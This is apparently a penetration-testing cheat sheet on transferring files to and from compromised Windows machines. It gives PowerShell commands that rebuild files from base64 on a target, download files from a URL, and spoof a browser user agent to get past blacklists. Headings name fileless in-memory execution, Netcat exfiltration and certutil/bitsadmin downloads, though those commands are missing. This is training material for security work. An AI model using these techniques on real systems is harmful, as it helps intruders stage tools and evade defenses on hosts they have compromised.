Windows - File Transfer
Transferring files to or from Windows machines is crucial in various scenarios. Below are some methods for file transfer that could help to accomplish it and even bypass defenses:
Download to PowerShell
Using base64 encoding
#On our machine
md5sum $file #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line
#On the target machine
PS\> [IO.File]::WriteAllBytes("C:\Users\Public\$file", [Convert]::FromBase64String("$b64String"))
PS\> Get-FileHash C:\Users\Public\i$file -Algorithm md5 #Check hash to confirm the integrity of the fileFrom the web to the target system
PS\> (New-Object Net.WebClient).DownloadFile('$fileURL','$outFile')
PS\> Invoke-WebRequest $fileURL -OutFile $outFile #Alternative, little slower
#If the user Agent is blacklisted we can change it
PS C:\htb> Invoke-WebRequest $fileURL -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "$outFile"Download and execute it directly in memory (fileless)
Overpassing parsing errors
Download using SMB
Mount an SMB server on our machine to share files and download them on the target machine
Download using FTP
Mount an FTP server on our machine to share files and download them on the target machine
When not having an interactive terminal, a script can be created
Upload from PowerShell
Using base64 encoding
From the target system to a web
Use base64 encoding to send a web request and catch it with Netcat
Upload using SMB
Mount an SMB server on our machine to share files and download them on the target machine
Upload using FTP
Mount an FTP server on our machine to share files and download them on the target machine
When not having an interactive terminal, a script can be created
Transfer between Windows hosts using a PowerShell remote session and WinRM
When we have compromised a host and gained access to the Administrator user or any user in the Remote Management Users group
The usual $ symbols that are used to point out the things we have to change are replaced by <> due to the use of this symbol as a reserved operator in PHP
Upload using the RDP protocol
If we can mount a local resource on the target RDP server
Download using integrated Windows Binaries
Using bitsadmin
Using certutil
Last updated